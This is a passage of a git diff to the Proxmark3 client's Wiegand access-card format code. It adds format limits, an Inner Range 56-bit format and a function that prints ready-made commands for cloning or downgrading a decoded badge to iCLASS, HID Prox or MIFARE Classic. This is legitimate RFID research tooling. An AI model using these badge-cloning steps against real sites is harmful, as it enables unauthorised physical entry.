memset(packed, 0, sizeof(wiegand_message_t)); packed->Length = 56; - if (card->FacilityCode > 0xFFFFF) return false; // Can't encode FC. - if (card->CardNumber > 0x3FFFFFFFF) return false; // Can't encode CN. + if (!validate_card_limit(format_idx, card)) return false; set_linear_field(packed, card->FacilityCode, 1, 20); set_linear_field(packed, card->CardNumber, 21, 34); @@ -1395,10 +1345,11 @@ static bool Pack_Avig56(wiegand_card_t *card, wiegand_message_t *packed, bool pr } static bool Unpack_Avig56(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 56) return false; + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 1, 20); card->CardNumber = get_linear_field(packed, 21, 34); @@ -1410,6 +1361,30 @@ static bool Unpack_Avig56(wiegand_message_t *packed, wiegand_card_t *card) { return true; } +static bool Pack_IR56(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { + memset(packed, 0, sizeof(wiegand_message_t)); + packed->Length = 56; + + if (!validate_card_limit(format_idx, card)) return false; + + packed->Bot = card->CardNumber; + packed->Mid = card->FacilityCode; + + if (preamble) + return add_HID_header(packed); + + return true; +} + +static bool Unpack_IR56(wiegand_message_t *packed, wiegand_card_t *card) { + memset(card, 0, sizeof(wiegand_card_t)); + + if (packed->Length != 56) return false; + + card->FacilityCode = packed->Mid; + card->CardNumber = packed->Bot; + return true; +} // --------------------------------------------------------------------------------------------------- void print_desc_wiegand(cardformat_t *fmt, wiegand_message_t *packed) { @@ -1421,7 +1396,7 @@ void print_desc_wiegand(cardformat_t *fmt, wiegand_message_t *packed) { size_t s_len = 128; char *s = calloc(s_len, sizeof(uint8_t)); - snprintf(s, s_len * sizeof(uint8_t), _YELLOW_("%-10s")" %-32s", fmt->Name, fmt->Descrp); + snprintf(s, s_len * sizeof(uint8_t), _YELLOW_("%-10s")" %-32s", fmt->Name, fmt->Description); if (packed->Top != 0) { PrintAndLogEx(SUCCESS, "%s -> " _GREEN_("%X%08X%08X"), @@ -1460,25 +1435,6 @@ void print_wiegand_code(wiegand_message_t *packed) { static void hid_print_card(wiegand_card_t *card, const cardformat_t format) { - /* - PrintAndLogEx(SUCCESS, " Format: %s (%s)", format.Name, format.Descrp); - - if (format.Fields.hasFacilityCode) - PrintAndLogEx(SUCCESS, "Facility Code: %d",card->FacilityCode); - - if (format.Fields.hasCardNumber) - PrintAndLogEx(SUCCESS, " Card Number: %d",card->CardNumber); - - if (format.Fields.hasIssueLevel) - PrintAndLogEx(SUCCESS, " Issue Level: %d",card->IssueLevel); - - if (format.Fields.hasOEMCode) - PrintAndLogEx(SUCCESS, " OEM Code: %d",card->OEM); - - if (format.Fields.hasParity) - PrintAndLogEx(SUCCESS, " Parity: %s",card->ParityValid ? "Valid" : "Invalid"); - */ - char s[110] = {0}; if (format.Fields.hasFacilityCode) snprintf(s, sizeof(s), "FC: " _GREEN_("%u"), card->FacilityCode); @@ -1495,50 +1451,52 @@ static void hid_print_card(wiegand_card_t *card, const cardformat_t format) { if (format.Fields.hasParity) snprintf(s + strlen(s), sizeof(s) - strlen(s), " parity ( %s )", card->ParityValid ? _GREEN_("ok") : _RED_("fail")); - PrintAndLogEx(SUCCESS, "[%-8s] %-32s %s", format.Name, format.Descrp, s); + PrintAndLogEx(SUCCESS, "[%-8s] %-32s %s", format.Name, format.Description, s); } static const cardformat_t FormatTable[] = { - {"H10301", Pack_H10301, Unpack_H10301, "HID H10301 26-bit", {1, 1, 0, 0, 1}}, // imported from old pack/unpack - {"ind26", Pack_ind26, Unpack_ind26, "Indala 26-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au - {"ind27", Pack_ind27, Unpack_ind27, "Indala 27-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au - {"indasc27", Pack_indasc27, Unpack_indasc27, "Indala ASC 27-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au - {"Tecom27", Pack_Tecom27, Unpack_Tecom27, "Tecom 27-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au - {"2804W", Pack_2804W, Unpack_2804W, "2804 Wiegand 28-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au - {"ind29", Pack_ind29, Unpack_ind29, "Indala 29-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au - {"ATSW30", Pack_ATSW30, Unpack_ATSW30, "ATS Wiegand 30-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au - {"ADT31", Pack_ADT31, Unpack_ADT31, "HID ADT 31-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au - {"HCP32", Pack_hcp32, Unpack_hcp32, "HID Check Point 32-bit", {1, 0, 0, 0, 0}}, // from cardinfo.barkweb.com.au - {"HPP32", Pack_hpp32, Unpack_hpp32, "HID Hewlett-Packard 32-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au - {"Kastle", Pack_Kastle, Unpack_Kastle, "Kastle 32-bit", {1, 1, 1, 0, 1}}, // from @xilni; PR #23 on RfidResearchGroup/proxmark3 - {"Kantech", Pack_Kantech, Unpack_Kantech, "Indala/Kantech KFS 32-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au - {"WIE32", Pack_wie32, Unpack_wie32, "Wiegand 32-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au - {"D10202", Pack_D10202, Unpack_D10202, "HID D10202 33-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au - {"H10306", Pack_H10306, Unpack_H10306, "HID H10306 34-bit", {1, 1, 0, 0, 1}}, // imported from old pack/unpack - {"N10002", Pack_N10002, Unpack_N10002, "Honeywell/Northern N10002 34-bit", {1, 1, 0, 0, 1}}, // from proxclone.com - {"Optus34", Pack_Optus, Unpack_Optus, "Indala Optus 34-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au - {"SMP34", Pack_Smartpass, Unpack_Smartpass, "Cardkey Smartpass 34-bit", {1, 1, 1, 0, 0}}, // from cardinfo.barkweb.com.au - {"BQT34", Pack_bqt34, Unpack_bqt34, "BQT 34-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au - {"C1k35s", Pack_C1k35s, Unpack_C1k35s, "HID Corporate 1000 35-bit std", {1, 1, 0, 0, 1}}, // imported from old pack/unpack - {"C15001", Pack_C15001, Unpack_C15001, "HID KeyScan 36-bit", {1, 1, 0, 1, 1}}, // from Proxmark forums - {"S12906", Pack_S12906, Unpack_S12906, "HID Simplex 36-bit", {1, 1, 1, 0, 1}}, // from cardinfo.barkweb.com.au - {"Sie36", Pack_Sie36, Unpack_Sie36, "HID 36-bit Siemens", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au - {"H10320", Pack_H10320, Unpack_H10320, "HID H10320 37-bit BCD", {1, 0, 0, 0, 1}}, // from Proxmark forums - {"H10302", Pack_H10302, Unpack_H10302, "HID H10302 37-bit huge ID", {1, 0, 0, 0, 1}}, // from Proxmark forums - {"H10304", Pack_H10304, Unpack_H10304, "HID H10304 37-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au - {"P10004", Pack_P10004, Unpack_P10004, "HID P10004 37-bit PCSC", {1, 1, 0, 0, 0}}, // from @bthedorff; PR #1559 - {"HGen37", Pack_HGeneric37, Unpack_HGeneric37, "HID Generic 37-bit", {1, 0, 0, 0, 1}}, // from cardinfo.barkweb.com.au - {"MDI37", Pack_MDI37, Unpack_MDI37, "PointGuard MDI 37-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au - {"BQT38", Pack_bqt38, Unpack_bqt38, "BQT 38-bit", {1, 1, 1, 0, 1}}, // from cardinfo.barkweb.com.au - {"ISCS", Pack_iscs38, Unpack_iscs38, "ISCS 38-bit", {1, 1, 0, 1, 1}}, // from cardinfo.barkweb.com.au - {"PW39", Pack_pw39, Unpack_pw39, "Pyramid 39-bit wiegand format", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au - {"P10001", Pack_P10001, Unpack_P10001, "HID P10001 Honeywell 40-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au - {"Casi40", Pack_CasiRusco40, Unpack_CasiRusco40, "Casi-Rusco 40-bit", {1, 0, 0, 0, 0}}, // from cardinfo.barkweb.com.au - {"C1k48s", Pack_C1k48s, Unpack_C1k48s, "HID Corporate 1000 48-bit std", {1, 1, 0, 0, 1}}, // imported from old pack/unpack - {"BC40", Pack_bc40, Unpack_bc40, "Bundy TimeClock 40-bit", {1, 1, 0, 1, 1}}, // from - {"Avig56", Pack_Avig56, Unpack_Avig56, "Avigilon 56-bit", {1, 1, 0, 0, 1}}, - {"Defcon32", Pack_Defcon32, Unpack_Defcon32, "Custom Defcon RFCTF 42 BIT format", {1, 1, 1, 0, 1}}, // Created by (@micsen) for the CTF - {NULL, NULL, NULL, NULL, {0, 0, 0, 0, 0}} // Must null terminate array + {"H10301", Pack_H10301, Unpack_H10301, "HID H10301 26-bit", 26, {1, 1, 0, 0, 1, 0xFF, 0xFFFF, 0, 0}}, // imported from old pack/unpack + {"ind26", Pack_ind26, Unpack_ind26, "Indala 26-bit", 26, {1, 1, 0, 0, 1, 0xFFF, 0xFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"ind27", Pack_ind27, Unpack_ind27, "Indala 27-bit", 27, {1, 1, 0, 0, 0, 0x1FFF, 0x3FFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"indasc27", Pack_indasc27, Unpack_indasc27, "Indala ASC 27-bit", 27, {1, 1, 0, 0, 0, 0x1FFF, 0x3FFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"Tecom27", Pack_Tecom27, Unpack_Tecom27, "Tecom 27-bit", 27, {1, 1, 0, 0, 0, 0x7FF, 0xFFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"2804W", Pack_2804W, Unpack_2804W, "2804 Wiegand 28-bit", 28, {1, 1, 0, 0, 1, 0xFF, 0x7FFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"ind29", Pack_ind29, Unpack_ind29, "Indala 29-bit", 29, {1, 1, 0, 0, 0, 0x1FFF, 0xFFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"ATSW30", Pack_ATSW30, Unpack_ATSW30, "ATS Wiegand 30-bit", 30, {1, 1, 0, 0, 1, 0xFFF, 0xFFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"ADT31", Pack_ADT31, Unpack_ADT31, "HID ADT 31-bit", 31, {1, 1, 0, 0, 0, 0xF, 0x7FFFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"HCP32", Pack_hcp32, Unpack_hcp32, "HID Check Point 32-bit", 32, {1, 0, 0, 0, 0, 0, 0x3FFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"HPP32", Pack_hpp32, Unpack_hpp32, "HID Hewlett-Packard 32-bit", 32, {1, 1, 0, 0, 0, 0xFFF, 0x1FFFFFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"Kastle", Pack_Kastle, Unpack_Kastle, "Kastle 32-bit", 32, {1, 1, 1, 0, 1, 0xFF, 0xFFFF, 0x1F, 0}}, // from @xilni; PR #23 on RfidResearchGroup/proxmark3 + {"Kantech", Pack_Kantech, Unpack_Kantech, "Indala/Kantech KFS 32-bit", 32, {1, 1, 0, 0, 0, 0xFF, 0xFFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"WIE32", Pack_wie32, Unpack_wie32, "Wiegand 32-bit", 32, {1, 1, 0, 0, 0, 0xFFF, 0xFFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"D10202", Pack_D10202, Unpack_D10202, "HID D10202 33-bit", 33, {1, 1, 0, 0, 1, 0x7F, 0xFFFFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"H10306", Pack_H10306, Unpack_H10306, "HID H10306 34-bit", 34, {1, 1, 0, 0, 1, 0xFFFF, 0xFFFF, 0, 0}}, // imported from old pack/unpack + {"N10002", Pack_N10002, Unpack_N10002, "Honeywell/Northern N10002 34-bit", 34, {1, 1, 0, 0, 1, 0xFFFF, 0xFFFF, 0, 0}}, // from proxclone.com + {"Optus34", Pack_Optus, Unpack_Optus, "Indala Optus 34-bit", 34, {1, 1, 0, 0, 0, 0x3FF, 0xFFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"SMP34", Pack_Smartpass, Unpack_Smartpass, "Cardkey Smartpass 34-bit", 34, {1, 1, 1, 0, 0, 0x3FF, 0xFFFF, 0x7, 0}}, // from cardinfo.barkweb.com.au + {"BQT34", Pack_bqt34, Unpack_bqt34, "BQT 34-bit", 34, {1, 1, 0, 0, 1, 0xFF, 0xFFFFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"C1k35s", Pack_C1k35s, Unpack_C1k35s, "HID Corporate 1000 35-bit std", 35, {1, 1, 0, 0, 1, 0xFFF, 0xFFFFF, 0, 0}}, // imported from old pack/unpack + {"C15001", Pack_C15001, Unpack_C15001, "HID KeyScan 36-bit", 36, {1, 1, 0, 1, 1, 0xFF, 0xFFFF, 0, 0x3FF}}, // from Proxmark forums + {"S12906", Pack_S12906, Unpack_S12906, "HID Simplex 36-bit", 36, {1, 1, 1, 0, 1, 0xFF, 0xFFFFFF, 0x3, 0}}, // from cardinfo.barkweb.com.au + {"Sie36", Pack_Sie36, Unpack_Sie36, "HID 36-bit Siemens", 36, {1, 1, 0, 0, 1, 0x3FFFF, 0xFFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"H10320", Pack_H10320, Unpack_H10320, "HID H10320 37-bit BCD", 37, {1, 0, 0, 0, 1, 0, 99999999, 0, 0}}, // from Proxmark forums + {"H10302", Pack_H10302, Unpack_H10302, "HID H10302 37-bit huge ID", 37, {1, 0, 0, 0, 1, 0, 0x7FFFFFFFF, 0, 0}}, // from Proxmark forums + {"H10304", Pack_H10304, Unpack_H10304, "HID H10304 37-bit", 37, {1, 1, 0, 0, 1, 0xFFFF, 0x7FFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"P10004", Pack_P10004, Unpack_P10004, "HID P10004 37-bit PCSC", 37, {1, 1, 0, 0, 0, 0x1FFF, 0x3FFFF, 0, 0}}, // from @bthedorff; PR #1559 + {"HGen37", Pack_HGeneric37, Unpack_HGeneric37, "HID Generic 37-bit", 37, {1, 0, 0, 0, 1, 0, 0x7FFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"MDI37", Pack_MDI37, Unpack_MDI37, "PointGuard MDI 37-bit", 37, {1, 1, 0, 0, 1, 0xF, 0x1FFFFFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"BQT38", Pack_bqt38, Unpack_bqt38, "BQT 38-bit", 38, {1, 1, 1, 0, 1, 0xFFF, 0x3FFFF, 0x7, 0}}, // from cardinfo.barkweb.com.au + {"ISCS", Pack_iscs38, Unpack_iscs38, "ISCS 38-bit", 38, {1, 1, 0, 1, 1, 0x3FF, 0xFFFFFF, 0, 0x7}}, // from cardinfo.barkweb.com.au + {"PW39", Pack_pw39, Unpack_pw39, "Pyramid 39-bit wiegand format", 39, {1, 1, 0, 0, 1, 0xFFFF, 0xFFFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"P10001", Pack_P10001, Unpack_P10001, "HID P10001 Honeywell 40-bit", 40, {1, 1, 0, 0, 0, 0xFFF, 0xFFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"Casi40", Pack_CasiRusco40, Unpack_CasiRusco40, "Casi-Rusco 40-bit", 40, {1, 0, 0, 0, 0, 0, 0xFFFFFFFFFF, 0, 0}}, // from cardinfo.barkweb.com.au + {"BC40", Pack_bc40, Unpack_bc40, "Bundy TimeClock 40-bit", 40, {1, 1, 0, 1, 1, 0xFFF, 0xFFFFF, 0, 0x7F}}, // from + {"Defcon32", Pack_Defcon32, Unpack_Defcon32, "Custom Defcon RFCTF 42-bit", 42, {1, 1, 1, 0, 1, 0xFFFF, 0xFFFFF, 0xF, 0}}, // Created by (@micsen) for the CTF + {"H800002", Pack_H800002, Unpack_H800002, "HID H800002 46-bit", 46, {1, 1, 0, 0, 1, 0x3FFF, 0x3FFFFFFF, 0, 0}}, + {"C1k48s", Pack_C1k48s, Unpack_C1k48s, "HID Corporate 1000 48-bit std", 48, {1, 1, 0, 0, 1, 0x003FFFFF, 0x007FFFFF, 0, 0}}, // imported from old pack/unpack + {"Avig56", Pack_Avig56, Unpack_Avig56, "Avigilon 56-bit", 56, {1, 1, 0, 0, 1, 0xFFFFF, 0x3FFFFFFFF, 0, 0}}, + {"IR56", Pack_IR56, Unpack_IR56, "Inner Range 56-bit", 56, {1, 1, 0, 0, 0, 0xFFFFFF, 0xFFFFFFFF, 0, 0}}, + {NULL, NULL, NULL, NULL, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0}} // Must null terminate array }; void HIDListFormats(void) { @@ -1551,7 +1509,7 @@ void HIDListFormats(void) { int i = 0; while (FormatTable[i].Name) { - PrintAndLogEx(INFO, _YELLOW_("%-10s")" %-30s", FormatTable[i].Name, FormatTable[i].Descrp); + PrintAndLogEx(INFO, _YELLOW_("%-10s")" %-30s", FormatTable[i].Name, FormatTable[i].Description); ++i; } PrintAndLogEx(INFO, "------------------------------------------------------------"); @@ -1594,13 +1552,23 @@ int HIDFindCardFormat(const char *format) { return -1; } +// validate if the card's FC, CN, IL, OEM are within the limit of its format +// return true if the card is valid +bool validate_card_limit(int format_idx, wiegand_card_t *card) { + cardformatdescriptor_t card_descriptor = FormatTable[format_idx].Fields; + return !((card->FacilityCode > card_descriptor.MaxFC) || + (card->CardNumber > card_descriptor.MaxCN) || + (card->IssueLevel > card_descriptor.MaxIL) || + (card->OEM > card_descriptor.MaxOEM)); +} + bool HIDPack(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); if ((format_idx < 0) || (format_idx > ARRAYLEN(FormatTable) - 2)) return false; - return FormatTable[format_idx].Pack(card, packed, preamble); + return FormatTable[format_idx].Pack(format_idx, card, packed, preamble); } void HIDPackTryAll(wiegand_card_t *card, bool preamble) { @@ -1613,7 +1581,7 @@ void HIDPackTryAll(wiegand_card_t *card, bool preamble) { int i = 0; while (FormatTable[i].Name) { memset(&packed, 0, sizeof(wiegand_message_t)); - bool res = FormatTable[i].Pack(card, &packed, preamble); + bool res = FormatTable[i].Pack(i, card, &packed, preamble); if (res) { cardformat_t fmt = HIDGetCardFormat(i); print_desc_wiegand(&fmt, &packed); @@ -1624,34 +1592,40 @@ void HIDPackTryAll(wiegand_card_t *card, bool preamble) { } bool HIDTryUnpack(wiegand_message_t *packed) { - if (FormatTable[0].Name == NULL) + if (FormatTable[0].Name == NULL) { return false; + } - int i = 0; wiegand_card_t card; memset(&card, 0, sizeof(wiegand_card_t)); uint8_t found_cnt = 0, found_invalid_par = 0; + int i = 0; while (FormatTable[i].Name) { if (FormatTable[i].Unpack(packed, &card)) { found_cnt++; hid_print_card(&card, FormatTable[i]); - - if (FormatTable[i].Fields.hasParity || card.ParityValid == false) + // if fields has parity AND card parity is false + if (FormatTable[i].Fields.hasParity && (card.ParityValid == false)) { found_invalid_par++; + } } ++i; } if (found_cnt) { - PrintAndLogEx(INFO, "found %u matching format%c", found_cnt, (found_cnt > 1) ? 's' : ' '); + PrintAndLogEx(INFO, "found " _YELLOW_("%u") " matching " _YELLOW_("%d-bit") " format%s" + , found_cnt + , packed->Length + , (found_cnt > 1) ? "s" : "" + ); } - if (packed->Length && found_invalid_par == 0) { - PrintAndLogEx(WARNING, "Wiegand unknown bit len %d", packed->Length); - PrintAndLogEx(HINT, "Try 0xFFFF's http://cardinfo.barkweb.com.au/"); + if (packed->Length && ((found_cnt - found_invalid_par) == 0)) { // if length > 0 and no valid parity matches + PrintAndLogEx(FAILED, "Parity tests failed"); } + PrintAndLogEx(NORMAL, ""); return ((found_cnt - found_invalid_par) > 0); } @@ -1663,3 +1637,109 @@ void HIDUnpack(int idx, wiegand_message_t *packed) { hid_print_card(&card, FormatTable[idx]); } } + +// decode wiegand format using HIDTryUnpack +// return true if at least one valid matching formats found +bool decode_wiegand(uint32_t top, uint32_t mid, uint32_t bot, int n) { + + bool res = false; + if (top == 0 && mid == 0 && bot == 0) { + return res; + } + + if (n > 0) { + wiegand_message_t packed = initialize_message_object(top, mid, bot, n); + res = HIDTryUnpack(&packed); + } else { + wiegand_message_t packed = initialize_message_object(top, mid, bot, n); // 26-37 bits + res = HIDTryUnpack(&packed); + + PrintAndLogEx(INFO, "Trying with a preamble bit..."); + packed.Length += 1; + res |= HIDTryUnpack(&packed); + } + + if (res == false) { + PrintAndLogEx(DEBUG, "DEBUG: Error - " _RED_("HID no values found")); + } + + return res; +} + +int HIDDumpPACSBits(const uint8_t *const data, const uint8_t length, bool verbose) { + uint8_t n = length - 1; + uint8_t pad = data[0]; + char *binstr = (char *)calloc((length * 8) + 1, sizeof(uint8_t)); + if (binstr == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } + + bytes_2_binstr(binstr, data + 1, n); + +// PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "------------------------- " _CYAN_("Wiegand") " ---------------------------"); + PrintAndLogEx(SUCCESS, "PACS............. " _GREEN_("%s"), sprint_hex_inrow(data, length)); + PrintAndLogEx(DEBUG, "padded bin....... " _GREEN_("%s") " ( %zu )", binstr, strlen(binstr)); + + binstr[strlen(binstr) - pad] = '\0'; + PrintAndLogEx(DEBUG, "bin.............. " _GREEN_("%s") " ( %zu )", binstr, strlen(binstr)); + + size_t hexlen = 0; + uint8_t hex[16] = {0}; + binstr_2_bytes(hex, &hexlen, binstr); + PrintAndLogEx(SUCCESS, "hex.............. " _GREEN_("%s"), sprint_hex_inrow(hex, hexlen)); + + uint32_t top = 0, mid = 0, bot = 0; + if (binstring_to_u96(&top, &mid, &bot, binstr) != strlen(binstr)) { + PrintAndLogEx(ERR, "Binary string contains none <0|1> chars"); + free(binstr); + return PM3_EINVARG; + } + + PrintAndLogEx(NORMAL, ""); + wiegand_message_t packed = initialize_message_object(top, mid, bot, strlen(binstr)); + HIDTryUnpack(&packed); + + if (strlen(binstr) >= 26 && verbose) { + + + // SEOS + // iCLASS Legacy SE + // iCLASS Legacy SR + + // iCLASS Legacy + PrintAndLogEx(INFO, "Clone to " _YELLOW_("iCLASS Legacy")); + PrintAndLogEx(SUCCESS, " hf iclass encode --ki 0 --bin %s", binstr); + PrintAndLogEx(NORMAL, ""); + + // HID Prox II + PrintAndLogEx(INFO, "Downgrade to " _YELLOW_("HID Prox II")); + PrintAndLogEx(SUCCESS, " lf hid clone -w H10301 --bin %s", binstr); + PrintAndLogEx(NORMAL, ""); + + // MIFARE DESFire + + // MIFARE Classic + char mfcbin[28] = {0}; + mfcbin[0] = '1'; + memcpy(mfcbin + 1, binstr, strlen(binstr)); + binstr_2_bytes(hex, &hexlen, mfcbin); + + PrintAndLogEx(INFO, "Downgrade to " _YELLOW_("MIFARE Classic") " (Pm3 simulation)"); + PrintAndLogEx(SUCCESS, " hf mf eclr;"); + PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 0 -d 049DBA42A23E80884400C82000000000;"); + PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 1 -d 1B014D48000000000000000000000000;"); + PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 3 -d A0A1A2A3A4A5787788C189ECA97F8C2A;"); + PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 5 -d 020000000000000000000000%s;", sprint_hex_inrow(hex, hexlen)); + PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 7 -d 484944204953787788AA204752454154;"); + PrintAndLogEx(SUCCESS, " hf mf sim --1k -i;"); + PrintAndLogEx(NORMAL, ""); + + PrintAndLogEx(INFO, "Downgrade to " _YELLOW_("MIFARE Classic 1K")); + PrintAndLogEx(SUCCESS, " hf mf encodehid --bin %s", binstr); + PrintAndLogEx(NORMAL, ""); + } + free(binstr); + return PM3_SUCCESS; +} diff --git a/client/src/wiegand_formats.h b/client/src/wiegand_formats.h index 671795c9a..97b097e4a 100644 --- a/client/src/wiegand_formats.h +++ b/client/src/wiegand_formats.h @@ -36,17 +36,23 @@ typedef struct { bool hasIssueLevel; bool hasOEMCode; bool hasParity; + uint32_t MaxFC; // max Facility Code + uint64_t MaxCN; // max CardNumber + uint32_t MaxIL; // max IssueLevel + uint32_t MaxOEM;// max OEM } cardformatdescriptor_t; // Structure for defined Wiegand card formats available for packing/unpacking typedef struct { const char *Name; - bool (*Pack)(wiegand_card_t *card, wiegand_message_t *packed, bool preamble); + bool (*Pack)(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble); bool (*Unpack)(wiegand_message_t *packed, wiegand_card_t *card); - const char *Descrp; + const char *Description; + uint32_t Bits; // Number of bits in this format cardformatdescriptor_t Fields; } cardformat_t; +bool validate_card_limit(int format_idx, wiegand_card_t *card); void HIDListFormats(void); int HIDFindCardFormat(const char *format); cardformat_t HIDGetCardFormat(int idx); @@ -54,6 +60,8 @@ bool HIDPack(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bo bool HIDTryUnpack(wiegand_message_t *packed); void HIDPackTryAll(wiegand_card_t *card, bool preamble); void HIDUnpack(int idx, wiegand_message_t *packed); +bool decode_wiegand(uint32_t top, uint32_t mid, uint32_t bot, int n); +int HIDDumpPACSBits(const uint8_t *const data, const uint8_t length, bool verbose); void print_wiegand_code(wiegand_message_t *packed); void print_desc_wiegand(cardformat_t *fmt, wiegand_message_t *packed); #endif diff --git a/client/src/wiegand_formatutils.c b/client/src/wiegand_formatutils.c index d279744b9..d6d5758e6 100644 --- a/client/src/wiegand_formatutils.c +++ b/client/src/wiegand_formatutils.c @@ -128,11 +128,25 @@ bool set_nonlinear_field(wiegand_message_t *data, uint64_t value, uint8_t numBit return result; } -static uint8_t get_length_from_header(wiegand_message_t *data) { +uint8_t get_length_from_header(wiegand_message_t *data) { /** * detect if message has "preamble" / "sentinel bit" * Right now we just calculate the highest bit set - * 37 bit formats is hard to detect since it doesnt have a sentinel bit + * + * (from http://www.proxmark.org/forum/viewtopic.php?pid=5368#p5368) + * 0000 0010 0000 0000 01xx xxxx xxxx xxxx xxxx xxxx xxxx 26-bit + * 0000 0010 0000 0000 1xxx xxxx xxxx xxxx xxxx xxxx xxxx 27-bit + * 0000 0010 0000 0001 xxxx xxxx xxxx xxxx xxxx xxxx xxxx 28-bit + * 0000 0010 0000 001x xxxx xxxx xxxx xxxx xxxx xxxx xxxx 29-bit + * 0000 0010 0000 01xx xxxx xxxx xxxx xxxx xxxx xxxx xxxx 30-bit + * 0000 0010 0000 1xxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx 31-bit + * 0000 0010 0001 xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx 32-bit + * 0000 0010 001x xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx 33-bit + * 0000 0010 01xx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx 34-bit + * 0000 0010 1xxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx 35-bit + * 0000 0011 xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx 36-bit + * 0000 000x xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx 37-bit + * 0000 00xx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx 38-bit */ uint8_t len = 0; uint32_t hfmt = 0; // for calculating card length @@ -140,40 +154,22 @@ static uint8_t get_length_from_header(wiegand_message_t *data) { if ((data->Top & 0x000FFFFF) > 0) { // > 64 bits hfmt = data->Top & 0x000FFFFF; len = 64; - } else if (data->Mid > 0) { // < 63-32 bits - - // detect HID format b38 set - if (data->Mid & 0xFFFFFFC0) { - hfmt = data->Mid; - len = 32; - } else { - - PrintAndLogEx(DEBUG, "hid preamble detected"); - len = 32; - - if ((data->Mid ^ 0x20) == 0) { hfmt = data->Bot; len = 0; } - else if ((data->Mid & 0x10) == 0) { hfmt = data->Mid & 0x1F; } - else if ((data->Mid & 0x08) == 0) { hfmt = data->Mid & 0x0F; } - else if ((data->Mid & 0x04) == 0) { hfmt = data->Mid & 0x07; } - else if ((data->Mid & 0x02) == 0) { hfmt = data->Mid & 0x03; } - else if ((data->Mid & 0x01) == 0) { hfmt = data->Mid & 0x01; } - else { hfmt = data->Mid & 0x3F;} - } - - } else { - hfmt = data->Bot; - len = 0; + } else if (data->Mid & 0xFFFFFFC0) { // handle 38bit and above format + hfmt = data->Mid; + len = 31; // remove leading 1 (preamble) in 38-64 bits format + } else if (((data->Mid >> 5) & 1) == 1) { // bit 38 is set => 26-36bit format + hfmt = (((data->Mid & 31) << 6) | (data->Bot >> 26)); // get bits 27-37 to check for format len bit + len = 25; + } else { // if bit 38 is not set => 37bit format + hfmt = 0; + len = 37; } - while (hfmt > 1) { + while (hfmt > 0) { hfmt >>= 1; len++; } - // everything less than 26 bits found, assume 26 bits - if (len < 26) - len = 26; - return len; } @@ -193,13 +189,15 @@ wiegand_message_t initialize_message_object(uint32_t top, uint32_t mid, uint32_t bool add_HID_header(wiegand_message_t *data) { // Invalid value - if (data->Length > 84 || data->Length == 0) + if (data->Length > 84 || data->Length == 0) { return false; + } if (data->Length == 48) { data->Mid |= 1U << (data->Length - 32); // Example leading 1: start bit return true; } + if (data->Length >= 64) { data->Top |= 0x09e00000; // Extended-length header data->Top |= 1U << (data->Length - 64); // leading 1: start bit diff --git a/client/src/wiegand_formatutils.h b/client/src/wiegand_formatutils.h index 01a413032..05a36329b 